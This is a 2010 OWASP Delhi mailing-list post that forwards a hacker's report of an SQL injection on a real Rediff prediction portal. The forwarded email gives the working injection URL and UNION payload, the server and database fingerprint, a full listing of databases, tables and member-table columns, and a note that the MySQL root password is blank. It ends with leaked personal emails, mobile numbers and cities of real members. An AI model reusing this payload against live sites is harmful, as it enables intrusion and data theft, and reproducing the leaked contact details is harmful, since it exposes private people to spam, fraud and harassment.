[Owasp-delhi] Rediff.com SQL Injection

Soi, Dhruv dhruv.soi at owasp.org
Fri Jun 11 05:54:11 EDT 2010


Interesting! If anyone of you has direct contact with Rediff, please inform
them about below predictions happening on their "Predict and Play" portal.

-----Original Message-----
From: "Jack H4xor"
Sent: 11 June 2010 14:48
To: dhruv.soi at owasp.org
Subject: Rediff.com SQL Injection

Host Information

Target: http://predict.rediff.com
Server = Apache
Version = 5.1.30-log
Powered by = PHP/5.1.4
Current User = root at 10.50.60.1
Current Database = predictwin
Union Columns = 15
Vuln Url : http://predict.rediff.com/member_profile.php?mem_id=-1+and+1=0+
Union Select +UNHEX(HEX([visible])),2,3,4,5,6,7,8,9,10,11,12,13,14,15--

Database:

    predictwin
    information_schema
    Ivsregistrationdb
    Ivsserverdb
    PREDICTSCRAPBOOK
    crbt
    db_stats
    editorial
    eterno
    mboard_mod
    mobilerediff
    moderator
    money
    moneycomb1
    moneycomb2
    moneysearch
    mysql
    mysql_preupgrade_5_0
    predictwin
    relianceretail
    test

Current Database: predictwin
Table:

    MemberMaster
    Award_CricketPlayer
    Award_EventMaster
    Award_Group_Master
    Award_MailLog
    Award_MemberPredictions
    Award_PredictionsMaster
    Award_TagsMaster
    Award_TransactionMaster
    CricketPlayer
    CricketPlayerStat
    CricketPlayerStatWC
    CricketPlayerStat_indeng
    CricketPlayerWC
    CricketPlayer_indeng
    EPLClubMaster
    EPLEventMaster
    EPLGroup_Master
    EPLJackPot
    EPLMailEvents
    EPLMailLog
    EPLMemberPredictions
    EPLPlayer
    EPLPredictionsMaster
    EPLTagsMaster
    EPLTransactionMaster
    EventMaster
    F1Circuit
    F1EventMaster
    F1GroupMaster
    F1JackPot
    F1MailLog
    F1MemberPredictions
    F1MemberPredictions_Temp
    F1Player
    F1PredictionsMaster
    F1TagsMaster
    F1TeamMaster
    F1TransactionMaster
    Group_Master
    ICCICountryMaster
    JackPot
    MailEventLog
    MailEvents
    MailLog
    MatchMaster
    MatchScores
    MemberActivity
    MemberMaster
    MemberMasterWCPoints
    MemberMaster_Del
    MemberMaster_temp
    MemberPredictions
    MemberPredictions_Temp
    Points
    PredictionsMaster
    T20_CricketPlayer
    T20_CricketPlayerStat
    T20_EventMaster
    T20_Group_Master
    T20_ICCICountryMaster
    T20_MailLog
    T20_MemberActivity
    T20_MemberPredictions
    T20_PredictionsMaster
    T20_TagsMaster
    T20_TransactionMaster
    TEventMaster
    TGroupMaster
    TMailLog
    TMemberPredictions
    TPlayer
    TPredictionsMaster
    TTagsMaster
    TTransactionMaster
    TagMaster_Del
    TagsMaster
    TransactionMaster
    TransactionMaster_temp
    mem_bal_point
    memberid1020
    playermap
    predict_answer
    predict_answer_old
    wc
    wcp

Current Table: MemberMaster
Column:

    Member_First_Name
    Member_Last_Name
    Member_Nick_Name
    Member_Email
    Member_MobileNo
    Member_DOB
    Member_Gender
    Member_City
    Member_Country
    Member_userid
    Member_passwd
    Create_Time
    Update_Time
    Member_level
    Member_Bal_Point
    Member_Bal_Point_F1
    Member_level_F1
    EPL_Member_Bal_Point
    EPL_Member_level
    Member_Flag
    Award_Member_Bal_Point
    Award_Member_level
    T20_Member_Bal_Point
    T20_Member_level

Some Data: 

Member_Email:Member_MobileNo:Member_City:
sachin_kin_93 at rediffmail.com:9819246767:Mumbai::
amjadhav1982 at hotmail.com:9824545622:Mumbai::
ravibellani at yahoo.com:9892462811: ::
palya25 at yahoo.com:9820329154:Mumbai(Bombay)::
salil_de at hotmail.com::Mumbai(Bombay)::
arvindsingh_us at yahoo.com:09870323864:Mumbai::
jasmeets at rediff.co.in::Mumbai::
uday66 at yahoo.com:9870108766:Mumbai::
trinasil at gmail.com:9819702269: ::
knockknockabhay at rediffmail.com::Nagpur::

Database: mysql
user: root
pass: blank

Thanks& Regards
Jackh4xor (h4cky0u)




More information about the Owasp-delhi mailing list